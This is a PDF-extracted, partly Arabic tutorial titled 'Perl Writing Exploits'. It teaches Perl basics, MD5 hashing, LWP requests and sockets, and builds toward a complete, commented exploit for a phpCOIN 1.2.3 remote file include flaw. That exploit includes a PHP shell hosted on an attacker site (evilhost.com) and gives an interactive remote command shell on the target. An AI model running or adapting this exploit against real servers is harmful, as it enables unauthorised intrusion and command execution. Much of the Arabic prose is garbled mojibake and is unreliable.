Perl Writing Exploits .com. 0010 .t www. { Action #. While loops will loop while the
comparison is true, if it# changes to false, it will no longer continue to loop ...
www.t0010.com
Perl Writing Exploits
www.t0010.com
Perl Writing Exploits
ا ا ا
!" اق ظ AlhambA ب. ا/ ,*) ت ا+, http://www.sniper-sa.com/forums
) "! ا
www.t0010.com
Perl Writing Exploits
::ا :: ال هـ! ـ #ـ" ,ـ! ـوره o Nـ اYـ&ص و] آ S pqا r^ !" ,ـ ت اـ RIqواـم أtـ p ال ^@ Aم u eآ Mأ Zqا ـ ^ M1ـ ً ," ،ـ! R%qت ا oا>yى I" ،ـ Mـ و,ـ ـzات eـ? ا>$ى . "ــ ل " ــة ــ? ,eqــ ",ــ! #ــ ,اــ l Nو#ــ , ا N #$ل. ــ ذا ^ Iــ Kا#ــ =ل اfــات Sــ ل eــ? {هــ ؟ ,q$ا[ة ^," K Iـ ا#$ـ =ل YSـ[ Aـا! %70 ^ S K Iل واS KAـ ن اآfـ اI,ـ @ ـ رون هـbة ا ـ eـ? {هـ KASا ,# ,qا kـ و#ـ ,ا ـ Mوهـ! آ%ـء ، MN Sو^ zoYا. aj " eAS MN آـ ن اه ـ إ oـ د اfـات ",ـbا ا
ـع اـ& b,S , Iة ا .
www.t0010.com
Perl Writing Exploits
: ت "! ال# #yا lk M "! ال ^ جqS b%Y !I ActiveStates's perl http://www.activestate.us
L]ا اb ? هa [
!&q وا ً ر DzSofts Perlا ا رb @م ه# @& ً اqا www.dzsoft.com
L]ا اb هu e o^ I% @م ا#او ا
"perl Editor "Mko "! اK اآ# Y^ l او اذا .pl نI "! الo qS وا اد o اe ! "! ال وهqS اولK IY "Hello World ة,1ا :آد
#!/usr/bin/perl -w print "Hello World\n";
filename.pl l#$ اb,S aZ%[ا : دIح ا لS qS S I اا#!/usr/bin/perl MN A ً e و. r@ ه آ ? ا-w k اq r> أK^
www.t0010.com
Perl Writing Exploits
]^ ?e ء "! ) ; ( @ الr>ون اS M1 و . @ا اb هu e ااءة k r#
"\n"
a ت ا>ى$ [ ةbوه \n \r \t \f \b \v \e \a \L \l \U \u
NewLine Return Tab Form Feed Backspace Vertical Tab Escape Alarm Lowercase All Lowercase Next Uppercase All Uppercase First
> ل اf #!/usr/bin/perl -w print "Hello\tWorld\n\a";
نI^ ]! ا ت ات اS Mf "! الbوآ &ص أو أر] مq ? ^ ىI و، ]¡ أوjدا "$". رة$ S فN^و ! ل اf ه ا #!/usr/bin/perl -w $Hello = "Hello World\n"; print $Hello;
www.t0010.com
Perl Writing Exploits
!" ةfIS @مA^ ! @ام )' '( وه# اYI و " ت%&ا ¥q آـ,Z^ !," '\n' Me ?I $ ,YS ق%ا DOT @ام# S ¥q L ¥q ^ انYI وا #!/usr/bin/perl -w #"red", banana =>"yellow"); print $color{apple}."\n".$color{banana};
www.t0010.com
Perl Writing Exploits
: Conditionals لf b>q ,,% ط1أدوات ا ك# Lj k { إذا آ ن، ح%^ ,S ةo [ أk و Lj k [ واذا زال%^ MآS Lj k وإذا آ ن، ةo1ا ، L1 ? M آMZ# وq ¶ وا[ةM آS .ةo1 ك اS aYrS وإذا ا ¾ت :&ا if ( Logical ) { some command }
لf #!/usr/bin/perl -w $i = 1; if($i ==1) { $i++; #Increment 1 print $i . "\n"; #Print's 2 because the variable $i's condition was true #If $i was any other '#' it wouldnt print anything. }
i اN S ل اءfا i=1 اذا آ ن اe r 1 ! اrA "! اl¶ q@ج ? ا# { ذ، M>اد 2 ] Nr و1 a Z l¶ ا وفstring !" ط1 @م ادوات اA^ ? انI و &Yا
www.t0010.com
Perl Writing Exploits
: لf #!/usr/bin/perl -w $i = Hello; if($i eq 'Hello') { print "Hello!\n"; } else { print "The variable (i) doesn't equal the correct string!\n"; }
. ط1 ¨ اl ه اذاYN Else " اM#=A? اS qا ر eq equalty ويA
NE INEQUALTY ويA $ LT LESS THEN ? tا GT GREATER THEN ? اآ LE LESS THEN OR EQUAL ويA ? اوtا GE GREATER THEN OR EQUQL ويA اآ ? او
: User Input @مAد> ل ? >=ل ا²ا @مA ? اK r ةf =ل# اS آYe @مA و =ل#$ اM1 ً=f ، ¥q إد> ل ] أو . N M 1^ !I لN #$ اS IS @مA"م ا
www.t0010.com
Perl Writing Exploits
:ة ق =د> لe كYوه
STDIN Method ً$أو تq اد> لe !ه لf #!/usr/bin/perl -w #STDIN Method print "Hello my name is AlhambA, what is your name?: "; $L1 = ; chomp $L1; print "Nice to meet you $L1!\n";
NS ! وف اo اrAف اb S !YN^ :chomp . ا
: ARGV@ Method ! =د> ل هq f اrا دe "%& pA ةbه > راتu e @مA اL^ انYI ةb,S : ARGV@ : لf perl sploit.pl www.somesite.com /forums/ 1
لN^ ? انI ة ا@ راتb هLk ( perl sploit.pl ) اe
www.t0010.com
Perl Writing Exploits
ARGV@ r S @م ا@ راتAq و] ت$ اK {"! ا #!/usr/bin/perl -w if(@ARGV !=2) { print "Usage: perl $0 \n"; exit; } ($name, $num) = @ARGV; print "Hello $name & your number was: $num!\n";
b%Yاfile.pl اl# اb>¾ ا اb @م هA $0 . k@ ت اN "! اe l [ ً و
uA^ ! اmodule @ام# S f f اrا :GetOpt #!/usr/bin/perl -w #GetOpt STD module use Getopt::Std; getopts (":b:n:", \%args); if (defined $args{n}) { $n1 = $args{n}; } if (defined $args{b}) { $n2 = $args{b}; } if (!defined $args{n} or !defined $args{b}){ print "Usage: perl $0 -n Name -b Number\n"; exit; } print "Hello $n1!\n"; print "Your number was: $n2\n"; print "Visit www.SnIpEr-SA.com today!\n\n";
k اKN& S R Getopt A اM ء ادe # اÃ f اrA"! ا
www.t0010.com
Perl Writing Exploits
@ام# وا، b,-n- =مey ا, getopts LS ااrAو"! ا %argsl,Y z@ ش,ا n- =مNد اk ل اذا آ نY هR @ اrAو"! ا ، n1 ت "! اNن اz> دسA اrA"! ا .دk n-=مN اذا آ ن ا$ ا$ا اb هu اM> ? b-=مN اL !ء1 اR%qو { ط اذا آ ن1
د اY ه1e ا ديrAو"! ا =مeyد ? اk .aÄ > وا[ةa [ !" $ اj t , آ: or نI Ye y اexit N S q و ¨ اM># !" !] اLr و، ا@ رجu اz%A" ?"N ?=Nا . لfا GetOpt" لN # S Y % اrن اI #و module @ام#$ اM,# o qS نI انKo
: Loop ر آدI % ار هI ا !" eo !," ، ااءةM,# ," دI ]اءة اYI
. دIا اbه #!/usr/bin/perl -w #Loop Tutorial #www.SnIpEr-SA.com #Join Us TODAY! ################################## #FULLY Commented# ################################## #While Loops #Format # while (Comparison) {
www.t0010.com
Perl Writing Exploits
# Action } #While loops will loop while the comparison is true, if it changes to false, it will no longer continue to loop through its set of action(s). $i = 1; while($i ك دوالY وه%1 S A M ا ادbه قbوآ !اوال ه md5($data,...) md5_hex($data,...) md5_base64($data,...)
md5($data,...) MI1ه "! اN^ l¶ MD5 digest KA ^ ة ااbه .p S 16 , binary !j Yfا md5_hex($data,...) 1e دسA اMI1 اN^ ?I ¨S A اR%q 32 ,hexadecimal نI ا ى 'a'..'f'.و0'..'9' md5_base64($data,...) , %1 اbase64 MI1 اN^ ?I ¨S A اR%q 22 نI ا ى '/'.' و+' 'و9'..'0' ' وa'..'z''وA'..'Z' : لf use Digest::MD5 qw(md5_hex); print "Digest is ", md5_hex("foobarbaz"), "\n";
ا ا@جbوه Digest is 6df23dc03f9b54cc38a0fc1483df6e21
www.t0010.com
Perl Writing Exploits
Digest::MD5 ?e ثSا ااbه http://search.cpan.org/~gaas/Digest-MD5-2.36/MD5.pm
Y, GET K r دNq تq S ةe ] u e GET K S مY# لfا اb"! ه LWP UserAgentM ادL ," ,Y z@^ وMd5 #!/usr/bin/perl # Md5 Database Filler # # Version 1.0, Add Word Manually # # www.SnIpEr-SA.com # # Modules needed : LWP (User Agent), Digest (MD5) # # Download + INSTALL md5 digest module # use LWP::UserAgent; # Calling our LWP Useragent module use Digest::MD5 qw(md5_hex); # Calling our Digest MD5 module (Install {if you need it}) $brow = LWP::UserAgent->new; # Our new useragent defined under the variable $brow while(1) { # Just a simple while loop that will run the program continously instead of just 1 time print "Word to add: "; $var = ; chomp ($var); $seek = "http://md5.rednoize.com/?q=$var&b=MD5Search"; $brow->get( $seek ) or die "Failed to Send GET request!/n"; print "$var" . " : " . md5_hex("$var") . " was added to database " . "\n"; } # End of the while loop # To test if it worked go to http://md5.rednoize.com/ and search your md5(hex) hash given to you # It should crack :) # This was a simple example of a get request executed on a server
www.t0010.com
Perl Writing Exploits
LWP (User M ء اد ــe ــ# إl ــ ل ــfا اb" ـ! ه ـ .? ـf و اLS A اـrA"ـ! اـAgent), Digest (MD5) !" ,N
ة ووk useragent Me L# اrAو"! ا $brow . ا .!j ,q $ ارI^ Me ! وا ـ تq ـة اe ] ـSـان راYe ـفN $seek و"ـ! ا ـ .ـةe "ـ! اaي اد> ـb اـl#$ن اz@# Y هurNا u ـe get K ـr اb%Yـ# %& ا ـ ! ا ـrAو"! ا K ــS ــr> واذا آــ ن [ــث$seek ــفNا ــ ا r@ ا# رM## b وآــaي اد> ــb اــlــ#$ــ اe l >ــ ــ$و"ــ! ا . RI,ا اS %1 ا L] اu اK اذهl#$واذا ارت ان ^ آ ? ا
" ا http://md5.rednoize.com/
ش, اL ا# وl#$? اe à Sو
Sockets
www.t0010.com
Perl Writing Exploits
IO Mـ ت د ـ# #$ اb> Y# ءzoا اb "! هRS ا Socket INET( وهـInput/Output) >ـاج$د>ـ ل وا$ا =ات# @م "! اA و
IO Socket INET module RS @م اA^و، ء1qÌ e % اt YN اz,o AF_INET ?او لfا اb"! ه 80 ارتu e ip u e =^& لAS R ء1Y# #!/usr/bin/perl use IO::Socket; # M ادue A IO Socket print "An IP to connect to: "; $ip = ;#اآb! "! اS ن ا ايz@# chomp($ip); $i=1; while($i new(Proto=>'tcp', PeerAddr=>"$ip", PeerPort=>'80') or die"Couldn't connect!\n"; #Proto or Protocol (TCP/UDP) Y@ # اY هtcp #PeerAddr or Peer Address M @مA^ ip print "Connected!\n"; $i++; }
SQL injection exploits !" MN A^ M ا ادbه نk ? ا وI bوآ . ¨" Sockets ?e ك آ ب ثYوه
www.t0010.com
Perl Writing Exploits
Writing an Exploit (RFI (Remote File Include) u e نI # !وه phpCOIN 1.2.3 . qS !" ةfا http://milw0rm.com/exploits/2254 www.site.com/coin_includes/constants.php?_CCFG[_PKG_PATH_I NCL]=SHELL?&cmd=COMMAND
R ," آدM آl,"د اI اl,%^ !I aA^ l^ نÎ اe KNt Y { وا
ه," ةI% uد اI اÏAqا #!/usr/bin/perl # http://milw0rm.com/exploits/2254 # # phpCOIN 1.2.3 (_CCFG[_PKG_PATH_INCL]) Remote Include Vulnerability # # Vulnerability found by TimQ # # Coded Exploit By Warpboy # use LWP::UserAgent; # We call our module #Store our user inputted information into variables # [=& @ ر ا,@ Aq u ف ا ات ا> اNY# لN #$ S $site = @ARGV[0]; $shellsite = @ARGV[1]; $shellcmd = @ARGV[2]; if($site!~/http:\/\// || $site!~/http:\/\// || !$shellsite) { usg() # If the Url is invalid jump to the usg subrountine اذا b%Y# t آ نusg subrountine =ل#$ اM%# "! اL]وا M 1# ط1 ذ اNS l¶ } header(); # Run through contents in the header subrountine b وآheader subrountine ءzo "! اb%Y# ون طS ue A # =ل#$ اM%#ا
www.t0010.com
Perl Writing Exploits
#---------------------------------------------------------# Some loops to give us the ability to continue to use more than one command on the server. # Without these we would have to re-start the exploit for each command # "A اu ء اوا اre ار "! ا#$ اLr # بr#اS b%Y^ ءr>$ اu [ وq اb%Y^ Ye " [ ا واRو !" Y =ل ? ار ا>ل ه#$ اb%Y^ ! ار آ# S اwhile Y e Y وهwhile() == while(1) b%Y^ اي اررررر# S while() { print "[shell] \$"; while() # Recognize STDIN as a user input method, while() basically states that while your taking user input for the command, do the following. { # هb%Y^ وا ااد$ اY هM>Y# $cmd=$_; #@_ :the argument passed to sub routine chomp($cmd); #Chomps the newline off the user inputted command #--------------------------------------------------------# Y "N Ye LWP Useragent module % Aq دIا ? اb,S ^= # ا,Y MN^ !I وN% اf? ا $xpl = LWP::UserAgent->new() or die; #Defines the variable $xpl as a new useragent $req = HTTP::Request>new(GET=>$site.'/coin_includes/constants.php?_CCFG[ _PKG_PATH_INCL]='.$shellsite.'?&'.$shellcmd.'='.$cmd)o r die "\n\n Failed to Connect, Try again!\n"; #K rف اN# get ا& بL] اuة اf اM# و # ا$req K r اb%Y get L] @م اد> ل اA اu eو ا& ب "! ا$site .ةf اL] اu e ¨r l¶ #$shellsite where the php backdoor is located, is the $shellcmd (php shell command variable) and $cmd variable which was the user #$shellcmd inputted command to execute on the server with the php backdoor. The final url
www.t0010.com
Perl Writing Exploits
# Would look like www.site.com/coin_includes/constants.php?_CCFG[_PKG _PATH_INCL]=SHELL?&cmd=COMMAND # # l وا[ وMI !" د اتMN # b هa #=Aا "! ا,o د$req $res = $xpl->request($req); # ا$res K r اb%Y get ? Lk A# وا ي ا K r اget ن "! اz@ و$info # The response of the server to the GET request we sent is stored in the $info variable # K r ا@ دم ? اKo A# get "! ا,qz@ و, # و $info $info = $res->content; $info =~ tr/[\n]/[ê]/; #---------------------------------------------------------# ? دةN اY @^ u وط ا1 ? اeo bه K r اr> اget r> @م اوA ? اد> ل اr@=ً اذا آ ن اf !" r> Y = لf L] "! اr@ "! او اr@ او ا$"! ا aS Y] يb اr@" اN M,Aن ? اI uI ^& ل$ا #Simple conditional if (!$cmd) { print "\nEnter a Command\n\n"; $info =""; } #Tests to see if there was a connection failure or the command failed #r> $ او اr> ^& ل$ @ اذا آ ن اYه elsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/: Cannot execute a blank command in /) { print "\nCould Not Connect to cmd Host or Invalid Command Variable\n"; exit; } # Another ElseIf, this is used incase the command is invalid like if you typed "asdfjasdf" as a command # Y هElseIf =f t { وا$ اpN " اذاasdfjasdf" elsif ($info =~/^.Warning/) { print "\nInvalid Command\n\n";
www.t0010.com
Perl Writing Exploits
}; #---------------------------------------------------------------# !," =ل#= او
و# #د اI ? اr@ اbه r اfدة " اk اذا آ نL] q^ @ آد ا e # b ^" ث ى# دN " اذا آ ن ا ىWarning" l¶ @جq اexits !YN^ u " اf اk^$ ?N اL]ا if($info =~ /(.+).Warning.(.+).Warning/) { $final = $1; $final=~ tr/[ê]/[\n]/; print "\n$final\n"; last; } #---------------------------------------------------------------#b =ل وه#$ اu e
يlAا اb هelse MI !ه MI S Aوط ا1ا else { print "[shell] \$"; } # end of else } # end of while() } # end of while last; #Sub-Rountines #The end of the code is our sub rountine "header" used earlier in the exploit sub header() { print q{ ++++++++++++++++++++++++++++++++++++ ++++++++++ phpCOIN 1.2.3 -- Remote Include Exploit Vulnerablity found by: TimQ Exploit coded by: Warpboy Original PoC: http://milw0rm.com/exploits/2254 ++++++++++++++++++++++++++++++++++++ ++++++++++ }
www.t0010.com
Perl Writing Exploits
} #-----------------------------------------------------------#This is just our "usg" sub-rountine and a simple exit if all the code is bypassed due to errors ect sub usg() { header(); print q{ ==================================== ================================== Usage: perl sploit.pl - Path to site exp. www.site.com - Path to shell exp. www.evilhost.com/shell.txt - Command variable for php shell Example: perl C:\sploit.pl http://www.site.com/phpCOIN/ ==================================== =================================== }; exit(); } #-----------------------------------------------------------
www.t0010.com
Perl Writing Exploits
,Yا K{ ,Ó !" ءe ا$ اlIY kq Ô ور[ اlI e =مAوا AlhambA lا>آ :M ا
[email protected] [email protected]
"! الL# و http://www.cpan.org http://www.securitydb.org/forum/ http://www.programmingtutorials.com/perl.aspx http://www.pageresource.com/cgirec/index2.htm http://www.cclabs.missouri.edu/thing...erlcourse.html http://www.ebb.org/PickingUpPerl/pickingUpPerl_toc.html http://vsbabu.org/tutorials/perl/ http://www.freeprogrammingresources.com/perl.html http://www.thescripts.com/serverside...uru/page0.html http://www.perl.com/pub/a/2002/08/20/perlandlwp.html http://www.perl.com http://www.perlmonks.org/index.pl?node=Tutorials www.google.com
Ô S l^